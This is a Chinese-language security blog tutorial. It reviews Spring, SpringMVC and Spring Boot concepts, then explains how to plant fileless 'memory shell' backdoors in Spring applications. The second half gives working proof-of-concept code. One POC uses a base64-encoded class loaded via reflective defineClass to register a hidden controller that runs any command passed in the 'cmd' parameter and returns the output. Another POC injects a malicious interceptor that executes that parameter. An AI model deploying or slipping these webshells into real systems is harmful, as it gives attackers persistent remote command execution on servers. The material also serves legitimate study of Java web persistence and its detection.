Spring 概念总结

本节的前置知识是 Spring、SpringBoot、SpringMVC 。这里总结一下基本问题:

Spring Framework

Spring 是一个全功能的 Java 应用开发框架,提供核心容器功能、AOP、数据访问等模块。

  • IoC(控制反转)容器:对 Java 对象的控制权由用户转移到 Spring IOC 容器,通过依赖注入(DI)管理对象的创建和依赖关系。
  • AOP(面向切面编程):通过定义通知无侵入式的对切入点方法进行功能增强。
  • 事务管理:提供声明式和编程式事务管理,支持数据库事务和其他资源的管理。
  • DAO 支持:整合 JDBC、Hibernate、JPA 等数据访问框架。
  • Context:ApplicationContext 作为核心容器,管理 Bean 的生命周期和依赖注入。

Spring 常用注解

  • @Component:通用的组件注解,表明一个类会被 Spring IoC 容器管理。
  • @Service:标注服务层的组件,具有 @Component 的功能,但语义更清晰,通常用于业务逻辑层。
  • @Repository:用于标注数据访问层的组件,具备 @Component 的功能,并且附带数据库操作相关的功能(如异常转换)。
  • @Controller:用于标注控制层的组件,通常与 Spring MVC 一起使用。
  • @Autowired:自动装配 Bean,可以通过构造方法、字段、setter 方法进行注入。
  • @Qualifier:与 @Autowired 结合使用,指定注入的具体实现类。
  • @Primary:当有多个候选 Bean 时,优先选择标注了该注解的 Bean 进行注入。
  • @Scope:定义 Bean 的作用域,常见的有 singleton(默认)和 prototype
  • @PostConstruct@PreDestroy:用于标注 Bean 初始化和销毁时的操作。

SpringMVC

SpringMVC 是 Spring 框架的一个子项目,专注于构建基于 Web 的应用。

  • Controller:处理 HTTP 请求的核心组件。@Controller 注解用于定义控制器类,方法通过 @RequestMapping@GetMapping@PostMapping 等映射 URL。
  • Model:传递到视图层的数据对象。通常在控制器方法中使用 ModelModelAndView 来包装数据。
  • View Resolver(视图解析器):解析控制器返回的逻辑视图名称,将其映射到具体的视图(如 JSP、Thymeleaf)。
  • Interceptor(拦截器):类似于过滤器,但更灵活,可以在请求到达控制器之前或之后进行拦截处理,如验证、日志记录等。通过实现 HandlerInterceptor 接口并配置到 SpringMVC 的配置文件中。
  • Data Binding & Validation:支持将 HTTP 请求参数绑定到 Java 对象中,并且支持 JSR-303/JSR-380 注解进行数据校验(如 @Valid@NotNull 等)。

SpringMVC 常用注解

  • @Controller:标识控制器,Spring MVC 会自动扫描带有该注解的类,将其作为请求处理器。
  • @RequestMapping:用于映射 URL 到指定的控制器方法或类,支持 GET、POST 等 HTTP 请求。
    • @GetMapping、**@PostMapping@PutMapping@DeleteMapping**:分别对应 HTTP 的四种常用请求方式,简化了 @RequestMapping 的使用。
  • @RequestParam:用于绑定请求参数到方法的参数。
  • @PathVariable:将 URL 中的路径参数绑定到方法参数。
  • @ModelAttribute:用于将表单数据绑定到模型对象,或在控制器方法执行之前预先填充模型。
  • @RequestBody:将请求体中的 JSON 数据转换为 Java 对象。
  • @ResponseBody:将方法的返回值作为 HTTP 响应体返回,而不是跳转到页面。
  • @RestController:组合注解,等同于 @Controller@ResponseBody,用于构建 RESTful API。
  • @ExceptionHandler:用于处理控制器中的异常。

Spring Boot

Spring Boot 是基于 Spring 框架的快速开发框架,简化了配置,提供开箱即用的开发体验。

  • Auto Configuration(自动配置):Spring Boot 的核心特性,自动配置常用组件,如数据库、MVC、消息队列等,避免繁琐的 XML 配置。
  • Starter:Spring Boot 提供各种 Starter 依赖(如 spring-boot-starter-webspring-boot-starter-data-jpa),可以轻松集成常见的功能模块。
  • Embedded Server(嵌入式服务器):Spring Boot 提供了嵌入式服务器(如 Tomcat、Jetty),开发时无需手动部署到外部服务器。
  • SpringApplication:启动 Spring Boot 应用的入口类,常见于 main 方法中调用 SpringApplication.run() 来启动应用。
  • Actuator:用于监控和管理 Spring Boot 应用的模块,提供诸如健康检查、性能指标、应用信息等接口。
  • CommandLineRunner & ApplicationRunner:提供在 Spring Boot 应用启动后执行的逻辑,常用于初始化工作。

SpringBoot 常用注解

  • @SpringBootApplication:组合注解,等同于 @Configuration@EnableAutoConfiguration@ComponentScan。用于标注启动类,开启自动配置和组件扫描。
  • @EnableAutoConfiguration:让 Spring Boot 根据依赖自动配置 Spring 应用上下文。
  • @Configuration:定义配置类,等同于 XML 中的 <beans> 配置。
  • @Bean:定义一个 Bean,方法返回值会被注册到 Spring 容器中。
  • @Conditional:根据条件(如类存在、环境变量等)来决定是否创建某个 Bean。
  • @EnableConfigurationProperties:启用配置属性,通常与 @ConfigurationProperties 配合使用。
  • @ConfigurationProperties:用于将配置文件(如 application.properties)中的属性映射到类上。
  • @RestController:用于创建 RESTful API,自动将返回值作为响应体返回。
  • @SpringBootTest:用于 Spring Boot 项目中的测试,加载整个应用程序的上下文。

常用的 Context

  • ApplicationContext:Spring 的核心接口,提供 Bean 的管理、依赖注入、生命周期管理等功能。常用的实现类包括:
    • ClassPathXmlApplicationContext:基于类路径下的 XML 文件进行配置。
    • AnnotationConfigApplicationContext:基于 Java 注解进行配置。
    • WebApplicationContext:专门为 Web 应用设计的上下文,Spring MVC 项目中通常会用到。
  • ServletContext:代表整个 Web 应用程序的上下文,生命周期由 Web 容器管理,Spring 会与其整合以提供更多服务。

特点总结

  • Spring:提供 IoC 和 AOP 的功能,核心是解耦组件,管理 Bean 的生命周期,提供事务管理等。
  • Spring MVC:专注于 Web 层,处理 HTTP 请求和响应,遵循 MVC 模式,便于构建 Web 应用程序。
  • Spring Boot:提供自动化配置,简化了 Spring 应用的配置过程,尤其适合快速开发和微服务架构。

Spring 内存马

依赖导入

Spring 的 Controller 型和 Interceptor 型内存马都需要 SpringMVC 的依赖:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.10.RELEASE</version>
</dependency>

Controller 型

Controller 注册流程

SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。

RequestMappingHandlerMapping 的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法:

其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法调用了 initHandlerMethods 方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean 方法处理 Bean:

processCandidateBean 方法获取指定 bean 的类型,如果标识为处理程序类型(Handler),则调用 detectHandlerMethods 方法处理:

而在实现类 RequestMappingHandlerMapping 中,isHandler 方法用来判断当前类是否带有 @Controller 或 @RequestMapping 注解:

detectHandlerMethods(Object handler) 方法的主要作用是从指定的处理器(通常是一个控制器类)中检测所有的处理方法,并注册这些方法,以便 HandlerMapping 之后能够根据请求找到合适的处理方法:

第一步获取了指定类的 Class 对象

接着使用 MethodIntrospector.selectMethods() 通过反射扫描类中的所有方法,过滤出有请求映射的处理方法。

用 getMappingForMethod 为每个方法获取其请求映射信息(例如 @RequestMapping 注解中定义的 URL、HTTP 方法、请求参数等)。

最后通过 registerHandlerMethod() 将这些方法(method)与其对应的请求映射(mapping)注册到 SpringMVC 的处理机制中。

在实现类 RequestMappingHandlerMapping 中,getMappingForMethod 方法会返回一个 RequestMappingInfo 对象,这个对象包含了 RequestMapping 的基本信息:

而 registerHandlerMethod() 方法是调用了内部类 MappingRegistry 的 register 方法:

跟进这个 register 方法,其实就是完成了一些数据的封装、属性的赋值:

主要有这些属性:

以上就是 Controller 的注册流程。总结一下:

接口 InitializingBean#afterPropertiesSet() 用来实现 bean 的初始化,RequestMappingHandlerMapping 是它的实现类

1
2
3
4
5
6
7
8
9
RequestMappingHandlerMapping#afterPropertiesSet()
AbstractHandlerMethodMapping#afterPropertiesSet()
AbstractHandlerMethodMapping#initHandlerMethods()
AbstractHandlerMethodMapping#processCandidateBean(String)
-> RequestMappingHandlerMapping#isHandler(Class<?>) # 判断当前类是否带有 @Controller 或 @RequestMapping 注解
-> AbstractHandlerMethodMapping#detectHandlerMethods(Object)
-> RequestMappingHandlerMapping#getMappingForMethod(Method, Class<?>) # 获取注解相关信息
-> AbstractHandlerMethodMapping#registerHandlerMethod(Object, Method, T)
AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method) # 注册注解相关信息

Controller 查找原理

当发送一次请求,SpringMVC 是如何去查找到对应的 Controller 来处理的呢?

在 SpringMVC 的请求流程中,DispatcherServlet 收到请求后会通过 HandlerMapping 查找与请求路径匹配的处理器 Handler,然后交给 Handler 处理,这个 Handler 通常是一个 Controller :

我们重点关注 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法,而在那之前的调用逻辑如下:

前面有一部分是 Tomcat 的逻辑,我们仅关注 DispatcherServlet 之后的部分。

AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法做了以下几件事:

  1. 它首先从 mappingRegistry 中尝试获取直接匹配 lookupPath 的方法映射。
  2. 如果找到,调用 addMatchingMappings 方法,将匹配项添加到 matches 列表中。
  3. 如果没有找到直接匹配项,继续遍历所有映射,寻找可能的匹配。
  4. 如果找到多个匹配项,会根据自定义比较器对匹配项进行排序,并选择最佳匹配。
  5. 如果请求为预检请求(CORS 请求),则返回预检处理结果。
  6. 如果匹配项存在冲突(多个方法同等匹配),会抛出异常。
  7. 最终,将最佳匹配的处理方法返回,并在请求中设置该匹配的处理方法;如果没有匹配项,调用 handleNoMatch 处理无匹配的情况。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
@Nullable
protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
List<Match> matches = new ArrayList<>();

// 1. 从映射注册表中获取与 lookupPath 直接匹配的映射(如果存在)
List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath);
if (directPathMatches != null) {
// 2. 如果找到了直接匹配的映射,尝试将这些映射添加到匹配列表中
addMatchingMappings(directPathMatches, matches, request);
}

// 3. 如果没有找到直接匹配的映射,则需要遍历所有映射,尝试找到匹配项
if (matches.isEmpty()) {
addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request);
}

// 4. 如果找到至少一个匹配项
if (!matches.isEmpty()) {
Match bestMatch = matches.get(0);

// 5. 如果找到多个匹配项,使用比较器对匹配项进行排序,并选择最佳匹配
if (matches.size() > 1) {
Comparator<Match> comparator = new MatchComparator(getMappingComparator(request));
matches.sort(comparator);
bestMatch = matches.get(0);

if (logger.isTraceEnabled()) {
logger.trace(matches.size() + " matching mappings: " + matches);
}

// 6. 如果请求是 CORS 预检请求,返回预检处理结果
if (CorsUtils.isPreFlightRequest(request)) {
return PREFLIGHT_AMBIGUOUS_MATCH;
}

// 7. 检查是否有多个完全相同的最佳匹配项,如果有则抛出异常
Match secondBestMatch = matches.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
Method m1 = bestMatch.handlerMethod.getMethod();
Method m2 = secondBestMatch.handlerMethod.getMethod();
String uri = request.getRequestURI();
throw new IllegalStateException(
"Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}");
}
}

// 8. 设置最佳匹配项并处理匹配
request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod);
handleMatch(bestMatch.mapping, lookupPath, request);

// 9. 返回最佳匹配的处理方法
return bestMatch.handlerMethod;
} else {
// 10. 如果没有找到匹配项,调用 handleNoMatch 方法处理
return handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request);
}
}

成功找到了请求路径对应的 Controller 之后,就会去调用它,调用逻辑如下,就不具体分析了:

Controller 动态注册

其实就是调用 AbstractHandlerMethodMapping 内部类 MappingRegistry#register(T, Object, Method) 方法来将 Controller 相关的信息注册进去。

可以调试起来看执行到这个方法时它的参数是什么,而我们要做的就是模仿。

AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method):

POC

我在 su18 师傅代码的基础上做了些修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Map;

/**
* 访问此接口动态添加 controller
*
* @author su18
*/
@Controller
@RequestMapping(value = "/add")
public class AddController {
public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQAYwoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAA2NtZAsAEAARBwASDAATABQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsKAAgAFgwAFwAYAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAGgAbBwAcDAAdAB4BABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHACABABFqYXZhL3V0aWwvU2Nhbm5lcgoAHwAiDAAFACMBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYIACUBAAJcQQoAHwAnDAAoACkBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsKAB8AKwwALAAtAQAHaGFzTmV4dAEAAygpWgoAHwAvDAAwADEBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsIADMBAAALADUANgcANwwAOAA5AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwoAOwA8BwA9DAA+AD8BABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYHAEEBABljb250cm9sbGVyL1Rlc3RDb250cm9sbGVyAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMY29udHJvbGxlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAFUBABNqYXZhL2lvL0lucHV0U3RyZWFtBwBXAQAQamF2YS9sYW5nL1N0cmluZwEACkV4Y2VwdGlvbnMHAFoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEANExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vR2V0TWFwcGluZzsBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAFL3N1MTgAIQBAAAIAAAAAAAIAAQAFAAYAAQBCAAAALwABAAEAAAAFKrcAAbEAAAACAEMAAAAGAAEAAAAOAEQAAAAMAAEAAAAFAEUARgAAAAEARwBIAAMAQgAAAMIAAwAGAAAAQbgABysSDbkADwIAtgAVtgAZTrsAH1kttwAhEiS2ACY6BBkEtgAqmQALGQS2AC6nAAUSMjoFLLkANAEAGQW2ADqxAAAAAwBDAAAAFgAFAAAAEQASABIAIQATADUAFABAABUARAAAAD4ABgAAAEEARQBGAAAAAABBAEkASgABAAAAQQBLAEwAAgASAC8ATQBOAAMAIQAgAE8AUAAEADUADABRAFIABQBTAAAADwAC/QAxBwBUBwAfQQcAVgBYAAAABAABAFkAWwAAAAYAAQBcAAAAAgBdAAAAAgBeAFsAAAASAAIAXwAAAGAAAQBhWwABcwBi";

public static Class<?> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] bytes = Base64.getDecoder().decode(classCode);

Method method = null;
Class<?> clz = loader.getClass();
while (method == null && clz != Object.class) {
try {
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
} catch (NoSuchMethodException ex) {
clz = clz.getSuperclass();
}
}

if (method != null) {
method.setAccessible(true);
return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);
}

return null;

}

@GetMapping()
public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {

final String controllerPath = "/su18";

// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

// 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

// 获取父类的 MappingRegistry 属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);

// 反射调用 MappingRegistry 的 register 方法
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

Method[] ms = c.getDeclaredMethods();

// 判断当前路径是否已经添加
Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);

Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
response.getWriter().println("controller url path exist already");
return;
}
}

// 初始化一些注册需要的信息
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);

Class<?> myClass = this.getClass(CONTROLLER_CLASS_STRING);

for (Method method : ms) {
if ("register".equals(method.getName())) {
// 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
method.setAccessible(true);
method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
response.getWriter().println("spring controller add");
}
}
}
}

其中字符串 CONTROLLER_CLASS_STRING 所记录的字节码内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package controller;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

import java.io.InputStream;
import java.util.Scanner;

@Controller
@RequestMapping({"/su18"})
public class TestController {
@GetMapping
public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
}
}

Interceptor 型

Interceptor 拦截器概念

拦截器(Interceptor)是一种动态拦截方法调用的机制,在 SpringMVC 中动态拦截控制器(Controller)方法的执行。

  • 作用:
    • 在指定的方法调用前后执行预先设定的代码
    • 阻止原始方法的执行
    • 总结:拦截器就是用来做增强

为了将拦截器(Interceptor)与过滤器(Filter) 做区分,我们来了解一下 Tomcat 是如何处理请求的:

(1) 浏览器发送一个请求会先到 Tomcat 的 web 服务器.

(2) Tomcat 服务器接收到请求以后,会去判断请求的是静态资源还是动态资源。

(3) 如果是静态资源,会直接到 Tomcat 的项目部署目录下去直接访问。

(4) 如果是动态资源,就需要交给项目的后台代码进行处理。

(5) 在找到具体的方法之前,我们可以去配置过滤器 Filter(可以配置多个),按照顺序进行执行。

(6) 然后进入到到中央处理器(DispatcherServlet),SpringMVC 会根据配置的规则进行拦截。

(7) 如果满足规则,则进行处理,找到其对应的 Controller 类中的方法进行执行,完成后返回结果;如果不满足规则,则不进行处理。

(8) 拦截器的作用就是在每个 Controller 方法执行的前后添加业务。

由此可以看出,拦截器和过滤器之间的区别:

  • 归属不同:Filter 属于 Servlet 技术,Interceptor 属于 SpringMVC 技术
  • 作用范围不同:Filter 对所有访问进行增强,Interceptor 仅针对 SpringMVC 的访问进行增强

那么如何手动编写一个 Interceptor 呢?

步骤 1 :创建拦截器类

一个标准的拦截器类应该实现 HandlerInterceptor 接口,重写接口中的 preHandle 、postHandle 、afterCompletion 三个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Component
//定义拦截器类,实现HandlerInterceptor接口
//注意当前类必须受Spring容器控制
public class ProjectInterceptor implements HandlerInterceptor {
@Override
//原始方法调用前执行的内容
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle...");
return true;
}

@Override
//原始方法调用后执行的内容,如果控制器抛出未处理的异常,则不会被调用
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle...");
}

@Override
//原始方法调用完成后执行的内容,无论控制器是否抛出异常,都会被调用
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion...");
}
}

步骤 2 :配置拦截器类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Configuration
public class SpringMvcSupport extends WebMvcConfigurationSupport {
@Autowired
private ProjectInterceptor projectInterceptor;

@Override
protected void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/pages/**").addResourceLocations("/pages/");
}

@Override
protected void addInterceptors(InterceptorRegistry registry) {
//配置拦截器
registry.addInterceptor(projectInterceptor).addPathPatterns("/**");
}
}

步骤 3 :SpringMVC 添加 SpringMvcSupport 包扫描

1
2
3
4
5
@Configuration
@ComponentScan({"controller", "Interceptor"})
@EnableWebMvc
public class SpringMvcConfig{
}

这样一个 Interceptor 就创建完了。

Interceptor 调用流程

  • Spring MVC 使用 DispatcherServlet 的 doDispatch 方法进入自己的处理逻辑;
  • 通过 getHandler 方法,循环遍历 handlerMappings 属性,匹配获取本次请求的 HandlerMapping;
  • 通过 HandlerMapping (实际上是其实现类 AbstractHandlerMapping)的 getHandler 方法,遍历 this.adaptedInterceptors 中的所有 HandlerInterceptor 类实例,加入到 HandlerExecutionChain 的 interceptorList 中;
  • 调用 HandlerExecutionChain 的 applyPreHandle 方法,遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑。

这里我就不放代码了,直接梳理一下调用链:

1
2
3
4
5
DispatcherServlet#doDispatch(HttpServletRequest, HttpServletResponse)
-> DispatcherServlet#getHandler(HttpServletRequest)
AbstractHandlerMapping#getHandler(HttpServletRequest)
AbstractHandlerMapping#getHandlerExecutionChain(Object, HttpServletRequest) # 遍历 this.adaptedInterceptors,调用 HandlerExecutionChain.addInterceptor 将 HandlerInterceptor 实例加入到 HandlerExecutionChain 的 interceptorList 中
-> HandlerExecutionChain#applyPreHandle(HttpServletRequest, HttpServletResponse) # 遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑

POC

只需要将 Interceptor 加入到 AbstractHandlerMapping.adaptedInterceptors 中即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class AddInterceptor {

@ResponseBody
@RequestMapping("/add2")
public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

//获取上下文环境
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

//获取adaptedInterceptors属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);


//将恶意Interceptor添加入adaptedInterceptors
TestInterceptor testInterceptor = new TestInterceptor();
adaptedInterceptors.add(testInterceptor);
}

public class TestInterceptor implements HandlerInterceptor{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}
}

寻常办法是无法回显的。

参考文章

JavaWeb 内存马基础

SpringMVC 源码之 Controller 查找原理

Java 安全学习 —— 内存马